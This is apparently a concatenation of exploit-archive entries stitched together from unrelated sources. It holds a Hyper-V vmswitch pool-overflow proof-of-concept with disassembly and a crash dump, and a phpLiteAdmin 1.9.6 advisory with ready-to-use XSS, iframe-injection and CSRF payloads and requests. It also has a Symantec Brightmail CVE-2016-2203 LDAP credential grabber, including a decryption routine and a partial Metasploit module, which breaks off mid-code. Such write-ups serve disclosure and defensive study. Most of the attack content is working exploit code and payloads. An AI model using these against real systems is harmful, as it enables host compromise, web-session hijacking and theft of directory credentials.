[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. All content (c) hyp3rlinx.

by hyp3rlinx
*/
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=688

This function is reachable by sending a RNDIS Set request with OID 0x01010209 (OID_802_3_MULTICAST_LIST) from the Guest to the Host.

This function potentially allocates a buffer based on the addresses sent.
The number of entries is determined by dividing the length of the data by 6:

.text:000000000001D717 mov eax, 0AAAAAAABh
.text:000000000001D71C mov r13b, 1
.text:000000000001D71F mul r14d
.text:000000000001D722 mov ebp, edx
.text:000000000001D724 shr ebp, 2
.text:000000000001D727 test ebp, ebp ; ebp=r14d//6
.text:000000000001D729 jz loc_31B04
.text:000000000001D72F
.text:000000000001D72F loc_1D72F: ; CODE XREF: VmsMpCommonPvtHandleMulticastOids+144CEj
.text:000000000001D72F cmp ebp, [rbx+0EE8h]
.text:000000000001D735 jz loc_31B2B
.text:000000000001D73B mov r8d, 'mcMV' ; Tag
.text:000000000001D741 mov rdx, r14 ; NumberOfBytes
.text:000000000001D744 mov ecx, 200h ; PoolType
.text:000000000001D749 mov r12, r14
.text:000000000001D74C call cs:__imp_ExAllocatePoolWithTag .text:000000000001D752 mov r14, rax
.text:000000000001D755 test rax, rax
.text:000000000001D758 jz loc_1D7E8
.text:000000000001D75E mov r8, r12 ; Size
.text:000000000001D761 mov rdx, r15 ; Src
.text:000000000001D764 mov rcx, rax ; Dst
.text:000000000001D767 call memmove

An interesting test is located at 0x1D72F.
If the number of entries is identical to the currently stored one, then we jump to this piece of code:

.text:0000000000031B2B loc_31B2B: ; CODE XREF: VmsMpCommonPvtHandleMulticastOids+F5j
.text:0000000000031B2B mov rcx, [rbx+0EE0h] ; Dst
.text:0000000000031B32 mov r8, r14 ; Size
.text:0000000000031B35 mov rdx, r15 ; Src
.text:0000000000031B38 call memmove

Note that the size of the copy operation is the size of the data. As the division is dropping the remainder component, we can overflow the allocation by 1 to 5 bytes doing the following:
- call this function with data of size 6*x
- call this function again with size 6*x+y with 1<=y<=5
  - then 6*x bytes will be allocated and stored at 0xee0
  - and x will be saved at 0xee8;
  - x will be compared with what is at 0xee8
  - being equal it will proceed copying 6*x+y in a buffer of 6*x bytes at 0xee0

If exploited successfully (not sure if it's doable), it would lead to code execution in the context of the Host R0.

Please note that this issue has been silently fixed in Windows Server 2016 TP4 (and maybe prior).

PoC (put it and call it somewhere useful in rndis_filter.c):
*/

static int rndis_pool_overflow(struct rndis_device *rdev)
{
  int ret;
  struct net_device *ndev = rdev->net_dev->ndev;
  struct rndis_request *request;
  struct rndis_set_request *set;
  struct rndis_set_complete *set_complete;
  u32 extlen = 16 * 6;
  unsigned long t;

  request = get_rndis_request(
    rdev, RNDIS_MSG_SET,
    RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen);

  if (!request)
    return -ENOMEM;

  set = &request->request_msg.msg.set_req;
  set->oid = 0x01010209; // OID_802_3_MULTICAST_LIST
  set->info_buflen = extlen;
  set->info_buf_offset = sizeof(struct rndis_set_request);
  set->dev_vc_handle = 0;

  ret = rndis_filter_send_request(rdev, request);
  if (ret != 0)
    goto cleanup;

  t = wait_for_completion_timeout(&request->wait_event, 5*HZ);
  if (t == 0)
    return -ETIMEDOUT;
  else {
    set_complete = &request->response_msg.msg.set_complete;
    if (set_complete->status != RNDIS_STATUS_SUCCESS) {
      printk(KERN_INFO "failed to set multicast list: 0x%x\n",
        set_complete->status);
      ret = -EINVAL;
    }
  }

  put_rndis_request(rdev, request);
  request = get_rndis_request(rdev, RNDIS_MSG_SET,
    RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen + 5);

  if (!request)
    return -ENOMEM;

  set = &request->request_msg.msg.set_req;
  set->oid = 0x01010209; // OID_802_3_MULTICAST_LIST
  set->info_buflen = extlen + 5;
  set->info_buf_offset = sizeof(struct rndis_set_request);
  set->dev_vc_handle = 0;

  ret = rndis_filter_send_request(rdev, request);
  if (ret != 0)
    goto cleanup;

  t = wait_for_completion_timeout(&request->wait_event, 5*HZ);
  if (t == 0)
    return -ETIMEDOUT;
  else {
    set_complete = &request->response_msg.msg.set_complete;
    if (set_complete->status != RNDIS_STATUS_SUCCESS) {
      printk(KERN_INFO "failed to set multicast list: 0x%x\n",
        set_complete->status);
      ret = -EINVAL;
    }
 }

cleanup:
  put_rndis_request(rdev, request);

  return ret;
}

/*
Crash dump (with Special Pool enabled for vmswitch.sys):

7: kd> !analyze -v

*******************************************************************************

* *

* Bugcheck Analysis *

* *

*******************************************************************************

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is usually

caused by drivers using improper addresses.

If kernel debugger is available get stack backtrace.

Arguments:

Arg1: ffffcf81085c9000, memory referenced

Arg2: 0000000000000002, IRQL

Arg3: 0000000000000001, value 0 = read operation, 1 = write operation

Arg4: fffff8005fad3249, address which referenced memory

Debugging Details:

------------------

DUMP_CLASS: 1

DUMP_QUALIFIER: 401

BUILD_VERSION_STRING: 9600.18146.amd64fre.winblue_ltsb.151121-0600

...

BASEBOARD_VERSION: 

DUMP_TYPE: 1

BUGCHECK_P1: ffffcf81085c9000

BUGCHECK_P2: 2

BUGCHECK_P3: 1

BUGCHECK_P4: fffff8005fad3249

WRITE_ADDRESS: ffffcf81085c9000 Special pool

CURRENT_IRQL: 2

FAULTING_IP: 

vmswitch!memcpy+49

fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al

CPU_COUNT: 8

CPU_MHZ: c88

CPU_VENDOR: GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 1a

CPU_STEPPING: 4

CPU_MICROCODE: 6,1a,4,0 (F,M,S,R) SIG: 11'00000000 (cache) 11'00000000 (init)

DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT

BUGCHECK_STR: AV

PROCESS_NAME: System

ANALYSIS_SESSION_HOST: KOSTYAK-G7700

ANALYSIS_SESSION_TIME: 12-31-2015 21:26:14.0206

ANALYSIS_VERSION: 10.0.10586.567 amd64fre

TRAP_FRAME: ffffd00187f46840 -- (.trap 0xffffd00187f46840)

NOTE: The trap frame does not contain all registers.

Some register values may be zeroed or incorrect.

rax=0000000055555500 rbx=0000000000000000 rcx=ffffcf81085c9001

rdx=0000000000001fc0 rsi=0000000000000000 rdi=0000000000000000

rip=fffff8005fad3249 rsp=ffffd00187f469d8 rbp=0000000000000010

r8=0000000000000004 r9=0000000000000000 r10=0000000000000000

r11=ffffcf81085c8fa0 r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

iopl=0 nv up ei pl nz na pe nc

vmswitch!memcpy+0x49:

fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al ds:ffffcf81`085c9000=??

Resetting default scope

LAST_CONTROL_TRANSFER: from fffff8038a3633e9 to fffff8038a3578a0

STACK_TEXT: 

ffffd001`87f466f8 fffff803`8a3633e9 : 00000000`0000000a ffffcf81`085c9000 00000000`00000002 

00000000`00000001 : nt!KeBugCheckEx

ffffd001`87f46700 fffff803`8a361c3a : 00000000`00000001 ffffe000`57002000 ffffd001`87f46900 

00000000`00000004 : nt!KiBugCheckDispatch+0x69

ffffd001`87f46840 fffff800`5fad3249 : fffff800`5fad9b3d ffffe000`57002000 00000000`0000000c 

ffffe000`57002000 : nt!KiPageFault+0x23a

ffffd001`87f469d8 fffff800`5fad9b3d : ffffe000`57002000 00000000`0000000c ffffe000`57002000 

ffffd001`87f46b00 : vmswitch!memcpy+0x49

ffffd001`87f469e0 fffff800`5fac4792 : 00000000`00000000 ffffd001`87f46ac0 00000000`01000400 

ffffe000`57002000 : vmswitch!VmsMpCommonPvtHandleMulticastOids+0x144fd

ffffd001`87f46a60 fffff800`5fac3dc4 : 00000000`c00000bb 00000000`01010209 ffffcf81`06b62c78 

00000000`000000d0 : vmswitch!VmsMpCommonPvtSetRequestCommon+0x13e

ffffd001`87f46af0 fffff800`5fac3cf9 : ffffcf81`06b62b00 00000000`00000000 fffff800`5fac3a20 

ffffe000`53d8d880 : vmswitch!VmsMpCommonSetRequest+0xa4

ffffd001`87f46b60 fffff800`5fac3e8b : 00000000`00000000 fffff800`00000000 ffffe000`57005c10 

ffff68b8`dcfa8dfd : vmswitch!VmsVmNicPvtRndisDeviceSetRequest+0x55

ffffd001`87f46bb0 fffff800`5fac3aa3 : ffffe000`570c5f70 ffffe000`53d8d9c0 ffffe000`53d8d880 

fffff803`8a29b9f9 : vmswitch!RndisDevHostHandleSetMessage+0x77

ffffd001`87f46bf0 fffff803`8a2ee2a3 : ffffcf81`06b58fb0 ffffe000`57005c10 00000000`00000000 

ffffe000`00000000 : vmswitch!RndisDevHostControlMessageWorkerRoutine+0x83

ffffd001`87f46c20 fffff803`8a2984bf : fffff800`5e842e00 fffff803`8a2ee1a8 ffffe000`53d8d880 

00000000`00000000 : nt!IopProcessWorkItem+0xfb

ffffd001`87f46c90 fffff803`8a305554 : 00000000`00000000 ffffe000`53d8d880 00000000`00000080 

ffffe000`53d8d880 : nt!ExpWorkerThread+0x69f

ffffd001`87f46d40 fffff803`8a35dec6 : ffffd001`88741180 ffffe000`53d8d880 ffffd001`8874d3c0 

00000000`00000000 : nt!PspSystemThreadStartup+0x58

ffffd001`87f46da0 00000000`00000000 : ffffd001`87f47000 ffffd001`87f41000 00000000`00000000 

00000000`00000000 : nt!KiStartSystemThread+0x16

STACK_COMMAND: kb

THREAD_SHA1_HASH_MOD_FUNC: abaf49d1b3c5b02fccc8786e1ffe670ffc7abc52

THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 95f6cd8078b8f21385352dcdeabdb4de53e87ac0

THREAD_SHA1_HASH_MOD: 7e0f522feda778d9b7c0da52391383d6f8569ca6

FOLLOWUP_IP: 

vmswitch!memcpy+49

fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al

FAULT_INSTR_CODE: 75ff4188

SYMBOL_STACK_INDEX: 3

SYMBOL_NAME: vmswitch!memcpy+49

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: vmswitch

IMAGE_NAME: vmswitch.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 55c21a2e

BUCKET_ID_FUNC_OFFSET: 49

FAILURE_BUCKET_ID: AV_VRF_vmswitch!memcpy

BUCKET_ID: AV_VRF_vmswitch!memcpy

PRIMARY_PROBLEM_CLASS: AV_VRF_vmswitch!memcpy

TARGET_TIME: 2016-01-01T05:23:07.000Z

OSBUILD: 9600

OSSERVICEPACK: 0

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK: 272

PRODUCT_TYPE: 3

OSPLATFORM_TYPE: x64

OSNAME: Windows 8.1

OSEDITION: Windows 8.1 Server TerminalServer SingleUserTS

OS_LOCALE: 

USER_LCID: 0

OSBUILD_TIMESTAMP: 2015-11-21 08:42:09

BUILDDATESTAMP_STR: 151121-0600

BUILDLAB_STR: winblue_ltsb

BUILDOSVER_STR: 6.3.9600.18146.amd64fre.winblue_ltsb.151121-0600

ANALYSIS_SESSION_ELAPSED_TIME: 465

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:av_vrf_vmswitch!memcpy

FAILURE_ID_HASH: {f6dcfc99-d58f-1ff6-59d1-7239f62b292b}

Followup: MachineOwner

---------
*/
            
#################################################################################################################################################
# Exploit Title: phpLiteAdmin v1.9.6 - Multiple Vulnerabilities
# Date: 20.04.2016
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.phpliteadmin.org
# Software Link:
https://bitbucket.org/phpliteadmin/public/downloads/phpLiteAdmin_v1-9-6.zip
# Version: 1.9.6
#################################################################################

Introduction
phpLiteAdmin is a web-based SQLite database admin tool written in PHP with
support for SQLite3 and SQLite2. source = https://www.phpliteadmin.org


Vulnerabilities: CSRF | HTML(or Iframe) Injection | XSS


XSS details:
#################################################################################

XSS1

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&confirm=1

METHOD
Post

PARAMETER
0_defaultoption

PAYLOAD
"><script>alert(1)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=table_create&confirm=1 HTTP/1.1

tablename=testtable&rows=2&0_field=id&0_type=INTEGER&0_defaultoption=defined"><script>alert(1)</script>&0_defaultvalue=1&1_field=name&1_type=INTEGER&1_defaultoption=defined&1_defaultvalue=test

#################################################################################

XSS2

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=import

METHOD
Post

PARAMETER
file

PAYLOAD
"><script>alert(2)</script>

Request
POST /phpliteadmin/phpliteadmin.php?view=import HTTP/1.1

Content-Type: multipart/form-data;
boundary=---------------------------1675024292505
Content-Length: 1124

-----------------------------1675024292505
Content-Disposition: form-data; name="import_type"

sql
-----------------------------1675024292505
Content-Disposition: form-data; name="single_table"

testtable
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_fieldsterminated"

;
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_fieldsenclosed"

"
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_fieldsescaped"

\
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_replacenull"

NULL
-----------------------------1675024292505
Content-Disposition: form-data; name="import_csv_fieldnames"

on
-----------------------------1675024292505
Content-Disposition: form-data; name="file"; filename="test"
Content-Type: text/plain

"><script>alert(2)</script>
-----------------------------1675024292505
Content-Disposition: form-data; name="import"

Import
-----------------------------1675024292505--


#################################################################################

XSS3

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=sql

METHOD
Post

PARAMETER
queryval

PAYLOAD
"><script>alert(3)</script>

Request
POST /phpliteadmin/phpliteadmin.php?view=sql HTTP/1.1

queryval=%22%3E%3Cscript%3Ealert%283%29%3C%2Fscript%3E&delimiter=%3B&query=Go

#################################################################################

XSS4

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=view_create&confirm=1

METHOD
Post

PARAMETER
select

PAYLOAD
"><script>alert(4)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=view_create&confirm=1 HTTP/1.1

viewname=test&select="><script>alert(4)</script>&createtable=Go

#################################################################################

XSS5

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=view_drop&confirm=1

METHOD
Post

PARAMETER
viewname

PAYLOAD
<script>alert(5)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=view_drop&confirm=1 HTTP/1.1

viewname=test<script>alert(5)</script>


#################################################################################

XSS6

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=row_view&table=testtable

METHOD
Post

PARAMETER
numRows

PAYLOAD
'><script>alert(6)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=row_view&table=testtable HTTP/1.1

show=Show+%3A+&numRows=30%27%3E%3Cscript%3Ealert%286%29%3C%2Fscript%3E&startRow=0&viewtype=table

#################################################################################

XSS7

URL
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=column_confirm&action2=%27%3E%3Cscript%3Ealert%287%29%3C/script%3E&pk=id

METHOD
Get

PARAMETER
action2

PAYLOAD
'><script>alert(7)</script>

#################################################################################

XSS8

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&confirm=1

METHOD
Post

PARAMETER
tablename

PAYLOAD
%3cscript%3ealert(8)%3c%2fscript%3e

Request
POST /phpliteadmin/phpliteadmin.php?action=table_create&confirm=1 HTTP/1.1

tablename=testtable%3cscript%3ealert(8)%3c%2fscript%3e&rows=2&0_field=id&0_type=INTEGER&0_defaultoption=defined&0_defaultvalue=1&1_field=name&1_type=INTEGER&1_defaultoption=defined&1_defaultvalue=test

#################################################################################

XSS9

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_rename&confirm=1

METHOD
Post

PARAMETER
oldname

PAYLOAD
<script>alert(9)</script>

Request
POST /phpliteadmin/phpliteadmin.php?action=table_rename&confirm=1 HTTP/1.1

oldname=testtable<script>alert(9)</script>&newname=test&rename=Rename

#################################################################################


HTML Injection details:
#################################################################################

HTML Injection1

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&confirm=1
METHOD
Post

PARAMETER
0_defaultoption

PAYLOAD
"><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection2

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=import

METHOD
Post

PARAMETER
file

PAYLOAD
"><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection3

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=sql

METHOD
Post

PARAMETER
queryval

PAYLOAD
"><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection4

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=view_create&confirm=1

METHOD
Post

PARAMETER
select

PAYLOAD
"><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection5

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=view_drop&confirm=1

METHOD
Post

PARAMETER
viewname

PAYLOAD
<iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection6

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=row_view&table=testtable

METHOD
Post

PARAMETER
numRows

PAYLOAD
'><iframe src=https://www.phpliteadmin.org>


#################################################################################

HTML Injection7

URL
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=column_confirm&action2=%27%3E%3Ciframe%20src=https://www.phpliteadmin.org%3E&pk=id

METHOD
Get

PARAMETER
action2

PAYLOAD
'><iframe src=https://www.phpliteadmin.org>

#################################################################################

HTML Injection8

URL
http://localhost/phpliteadmin/phpliteadmin.php?action=table_rename&confirm=1

METHOD
Post

PARAMETER
oldname

PAYLOAD
<iframe src=https://www.phpliteadmin.org>

#################################################################################


CSRF details:

#################################################################################

CSRF1

Create Database

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php" method="POST">
<input type="text" name="new_dbname" value="db"/>
<input type="submit" value="Create DB"/>
</form>
</body>
</html>

#################################################################################

CSRF2

Drop Database

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?database_delete=1"
method="POST">
<input type="text" name="database_delete" value=".\db"/>
<input type="submit" value="Drop DB"/>
</form>
</body>
</html>

#################################################################################

CSRF3

Execute SQL

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php?view=sql"
method="POST">
<input type="text" name="queryval" value="test"/>
<input type="text" name="delimiter" value=";"/>
<input type="text" name="query" value="go"/>
<input type="submit" value="Execute SQL"/>
</form>
</body>
</html>

#################################################################################

CSRF4

Export DB

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php?view=export"
method="POST">
<input type="text" name="tables[]" value="testtable"/>
<input type="text" name="export_type" value="sql"/>
<input type="text" name="structure" value="on"/>
<input type="text" name="data" value="on"/>
<input type="text" name="transaction" value="on"/>
<input type="text" name="comments" value="on"/>
<input type="text" name="export_csv_fieldsterminated" value=";"/>
<input type="text" name="export_csv_fieldsenclosed" value="""/>
<input type="text" name="export_csv_fieldsescaped" value="\"/>
<input type="text" name="export_csv_replacenull" value="NULL"/>
<input type="text" name="export_csv_fieldnames" value="on"/>
<input type="text" name="filename" value="db_2016-04-20.dump"/>
<input type="text" name="export" value="Export"/>
<input type="submit" value="Export DB"/>
</form>
</body>
</html>

#################################################################################

CSRF5

Download Database

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php" method="GET">
<input type="text" name="download" value=".\db"/>
<input type="submit" value="Download DB"/>
</form>
</body>
</html>

#################################################################################

CSRF6

Import Table

URL
http://localhost/phpliteadmin/phpliteadmin.php?view=import

Request
POST /phpliteadmin/phpliteadmin.php?view=import HTTP/1.1

Content-Type: multipart/form-data;
boundary=---------------------------28282942824983
Content-Length: 1410

-----------------------------28282942824983
Content-Disposition: form-data; name="import_type"

sql
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_fieldsterminated"

;
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_fieldsenclosed"

"
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_fieldsescaped"

\
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_replacenull"

NULL
-----------------------------28282942824983
Content-Disposition: form-data; name="import_csv_fieldnames"

on
-----------------------------28282942824983
Content-Disposition: form-data; name="file";
filename="db_2016-04-20.dump.sql"
Content-Type: text/sql

----
-- phpLiteAdmin database dump (https://bitbucket.org/phpliteadmin/public)
-- phpLiteAdmin version: 1.9.6
-- Exported: 12:50am on April 20, 2016 (BST)
-- database file: .\db
----
BEGIN TRANSACTION;

----
-- Table structure for testtable
----
CREATE TABLE 'testtable' ('id' INTEGER DEFAULT 1 );

----
-- Data dump for testtable, a total of 1 rows
----
INSERT INTO "testtable" ("id") VALUES ('1');
COMMIT;

-----------------------------28282942824983
Content-Disposition: form-data; name="import"

Import
-----------------------------28282942824983--

#################################################################################

CSRF7

Database Vacuum

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php?view=vacuum"
method="POST">
<input type="text" name="vacuum" value="Vacuum"/>
<input type="submit" value="DB Vacuum"/>
</form>
</body>
</html>

#################################################################################

CSRF8

Database Rename

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?view=rename&database_rename=1"
method="POST">
<input type="text" name="oldname" value=".\db1"/>
<input type="text" name="newname" value=".\db"/>
<input type="text" name="rename" value="Rename"/>
<input type="submit" value="DB Rename"/>
</form>
</body>
</html>

#################################################################################

CSRF9

Create Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&confirm=1"
method="POST">
<input type="text" name="tablename" value="testtable"/>
<input type="text" name="rows" value="1"/>
<input type="text" name="0_field" value="id"/>
<input type="text" name="0_type" value="INTEGER"/>
<input type="text" name="0_defaultoption" value="defined"/>
<input type="text" name="0_defaultvalue" value="1"/>
<input type="submit" value="Create Table"/>
</form>
</body>
</html>

#################################################################################

CSRF10

Insert Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=row_create&confirm=1"


method="POST">
<input type="text" name="numRows" value="1"/>
<input type="text" name="function_0_id" value=""/>
<input type="text" name="0:id" value="1"/>
<input type="text" name="fields" value="id"/>
<input type="submit" value="Insert Table"/>
</form>
</body>
</html>

#################################################################################

CSRF11

Row Delete

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=row_delete&confirm=1&pk=%5B

%22%5B1%5D%22%5D" method="POST">
<input type="submit" value="Row Delete"/>
</form>
</body>
</html>

#################################################################################

CSRF12

Search Field

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?table=testtable&action=table_search&done=1"


method="POST">
<input type="text" name="id:operator" value="="/>
<input type="text" name="id" value="1"/>
<input type="submit" value="Search Field"/>
</form>
</body>
</html>

#################################################################################

CSRF13

Rename Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=table_rename&confirm=1"
method="POST">
<input type="text" name="oldname" value="test"/>
<input type="text" name="newname" value="testtable"/>
<input type="text" name="rename" value="Rename"/>
<input type="submit" value="Rename Table"/>
</form>
</body>
</html>

#################################################################################

CSRF14

Empty Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=table_empty&confirm=1"
method="POST">
<input type="text" name="tablename" value="testtable"/>
<input type="submit" value="Empty Table"/>
</form>
</body>
</html>

#################################################################################

CSRF15

Drop Table

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=table_drop&confirm=1"
method="POST">
<input type="text" name="tablename" value="testtable"/>
<input type="submit" value="Drop Table"/>
</form>
</body>
</html>

#################################################################################

CSRF16

Create View

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=view_create&confirm=1"
method="POST">
<input type="text" name="viewname" value="test"/>
<input type="text" name="select" value="select * from testtable;"/>
<input type="text" name="createtable" value="go"/>
<input type="submit" value="Create View"/>
</form>
</body>
</html>

#################################################################################

CSRF17

Drop View

<html>
<body>
<form action="
http://localhost/phpliteadmin/phpliteadmin.php?action=view_drop&confirm=1"
method="POST">
<input type="text" name="viewname" value="test"/>
<input type="submit" value="Drop View"/>
</form>
</body>
</html>

#################################################################################

CSRF18

Logout

<html>
<body>
<form action="http://localhost/phpliteadmin/phpliteadmin.php" method="POST">
<input type="hidden" name="logout" value="Logout"/>
<input type="submit" value="Logout"/>
</form>
</body>
</html>

#################################################################################
            
# Exploit Title: Symantec Brightmail ldap credential Grabber 
# Date: 18/04/2016
# Exploit Author: Fakhir Karim Reda
# Vendor Homepage: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year&suid=20160418_00
# Version: 10.6.0-7 and earlier
# Tested on: Linux, Unox Windows 
# CVE : CVE-2016-2203


#Symantec Brightmail 10.6.0-7 and earlier save the AD password somewhere in the product. By having a read account on the gateway  we can recover the AD #ACOUNT/PASSWORD  

#indeed the html code contains the encrypted AD password.

#the encryption and decryption part is implemented in Java in the appliance, by reversing the code we get to know the encryption algorithm:

#public static String decrypt(String password)
#{
#byte clearText[];
#try{
#PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"{}`~!@#$%^&*()_+-=".toCharArray());
#SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
#SecretKey secretKey = keyFactory.generateSecret(keySpec);
#System.out.println("Encoded key "+ (new String(secretKey.getEncoded())));


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require "base64"
require 'digest'
require "openssl"


class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
      'Description'    => %q{
          This module will  grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key.  Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected

      },
      'References'     =>
        [
          ['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
          ['CVE','2016-2203'],
          ['BID','86137']
        ],

      'Author'         =>
        [
          'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
        ],
       'DefaultOptions' =>
        {
          'SSL' => true,
          'SSLVersion' => 'TLS1',
          'RPORT' => 443
        },
       'License'        => MSF_LICENSE,
       'DisclosureDate' => "Dec 17 2015"
    ))
    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]),
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ], self.class)
    deregister_options('RHOST')
  end


  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def report_cred(opts)
   service_data = {
    address: opts[:ip],
    port: opts[:port],
    service_name: 'LDAP',
    protocol: 'tcp',
    workspace_id: myworkspace_id
   }
   credential_data = {
    origin_type: :service,
    module_fullname: fullname,
    username: opts[:user],
    private_data: opts[:password],
    private_type: :password
   }.merge(service_data)
   login_data = {
    last_attempted_at: DateTime.now,
    core: create_credential(credential_data),
    status: Metasploit::Model::Login::Status::SUCCESSFUL,
    proof: opts[:proof]
   }.merge(service_data)

   create_credential_login(login_data)
  end

  def auth(username, password, sid, last_login)
    # Real JSESSIONID  cookie
    sid2 = ''
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => '/brightmail/login.do',
      'headers'   => {
        'Referer' => "https://#{peer}/brightmail/viewLogin.do",
        'Connection' => 'keep-alive'
      },
      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
      'vars_post' => {
        'lastlogin'  => last_login,
        'userLocale' => '',
        'lang'       => 'en_US',
        'username'   => username,
        'password'   => password,
        'loginBtn'   => 'Login'
      }
    })
   if res.body =~ /Logged in/
      sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
      return sid2
   end
   if res and res.headers['Location']
     mlocation = res.headers['Location']
     new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
     res = send_request_cgi({
        'uri'    => new_uri,
        'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
     })
     sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
     return sid2  if res and res.body =~ /Logged in/
   end
   return false
  end

  def get_login_data
    sid        = ''  #From cookie
    last_login = ''  #A hidden field in the login page
    res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
    if res and !res.get_cookies.empty?
      sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
    end
    if res
      last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
    end
    return sid, last_login
  end

  # Returns the status of the listening port.
  #
  # @return [Boolean] TrueClass if port open, otherwise FalseClass.

  def port_open?
    begin
      res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
      return true if res
    rescue ::Rex::ConnectionRefused
      print_status("#{peer} - Connection refused")
      return false
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Connection failed")
      return false
    rescue ::OpenSSL::SSL::SSLError
